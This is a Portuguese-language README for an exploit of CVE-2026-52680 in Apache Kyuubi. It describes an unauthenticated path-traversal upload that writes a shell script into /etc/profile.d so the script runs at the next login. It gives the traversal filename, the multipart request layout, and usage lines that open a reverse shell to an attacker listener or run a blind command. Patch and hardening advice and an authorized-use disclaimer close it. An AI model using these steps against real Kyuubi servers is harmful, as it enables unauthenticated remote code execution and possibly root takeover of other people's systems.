
Exploit para path traversal no Apache Kyuubi (CVE-2026-52680) que possibilita escrita arbitrária de arquivos sem autenticação e execução de código por meio de scripts de shell em profile.d.
Gravação arbitrária de arquivos sem autenticação na API REST do Apache Kyuubi por meio do endpoint multipart de submissão de batches.
POST /api/v1/batches (multipart/form-data) grava a parte resourceFile em $KYUUBI_HOME/work/upload/<batchId>/ usando o nome de arquivo fornecido pelo cliente sem verificação de path-traversal (kyuubi-common Utils.writeToTempFile):
val filePath = Paths.get(dir.toString, s"$prefix-$identifier$suffix") // no normalize()/containment
Files.copy(source, filePath, StandardCopyOption.REPLACE_EXISTING)
Um nome de arquivo com ../ escapa do diretório de upload → gravação de arquivo em diretório arbitrário (CWE-22) como o usuário do processo Kyuubi. O Kyuubi vem com kyuubi.authentication=NONE por padrão, portanto o endpoint é não autenticado.
1.7.0 – 1.11.11.12.0 (adiciona a contenção filePath.normalize().startsWith(dir.normalize()))10099 (frontend REST, não autenticado quando authentication=NONE)writeToTempFile insere -<yyyyMMddHHmmss>-<counter> antes da extensão, portanto você controla o diretório de destino, a extensão e o conteúdo, mas não o nome base exato. Isso inviabiliza sobrescritas de nomes exatos (~/.ssh/authorized_keys, /etc/crontab, ~/.bashrc) — em vez disso, vise um local que seja executado por glob.
Este exploit grava /etc/profile.d/pwn.sh → armazenado como /etc/profile.d/pwn-<ts>-<n>.sh, que ainda corresponde a /etc/profile.d/*.sh e é interpretado via source (nenhum bit de execução é necessário) por todo shell de login. Ele executa como qualquer usuário que abrir um shell de login — root se o Kyuubi rodar como root e ocorrer um login de root (por exemplo, ssh root@host, su -, um cron bash -lc).
Apenas a biblioteca padrão do Python 3 — sem dependências.
# reverse shell (start a listener first: nc -lvnp 4444). Fires on the next login shell.
python3 exploit.py http://10.10.10.10:10099/ --shell 10.10.14.5:4444
# blind command
python3 exploit.py http://10.10.10.10:10099/ -c 'id > /tmp/pwned'
O upload retorna HTTP 500 (Error opening batch session) quando não há backend Spark presente — isso é esperado e inofensivo: o arquivo é gravado antes de o batch ser iniciado.
Duas partes multipart:
batchRequest (JSON) {"batchType":"SPARK","resource":"x","className":"x","name":"pwn"} — um BatchRequest mínimo e válido para que a validação passe e o destino de upload seja alcançado.resourceFile, nome de arquivo ../../../../../../etc/profile.d/pwn.sh, corpo = o payload. O Kyuubi o grava (com nome base alterado) em /etc/profile.d/pwn-<ts>-<n>.sh.Um shell de login então interpreta /etc/profile.d/*.sh e executa o payload.
curl -s http://10.10.10.10:10099/api/v1/ping # Kyuubi REST responds (no auth)
Um frontend REST Kyuubi na porta 10099 com authentication=NONE é explorável.
Atualize para Apache Kyuubi ≥ 1.12.0, habilite a autenticação (kyuubi.authentication), nunca exponha o gateway REST a redes não confiáveis e não execute o Kyuubi como root.
Apenas para testes de segurança autorizados e fins educacionais. Use-o somente contra sistemas que você possui ou para os quais tenha permissão explícita para testar.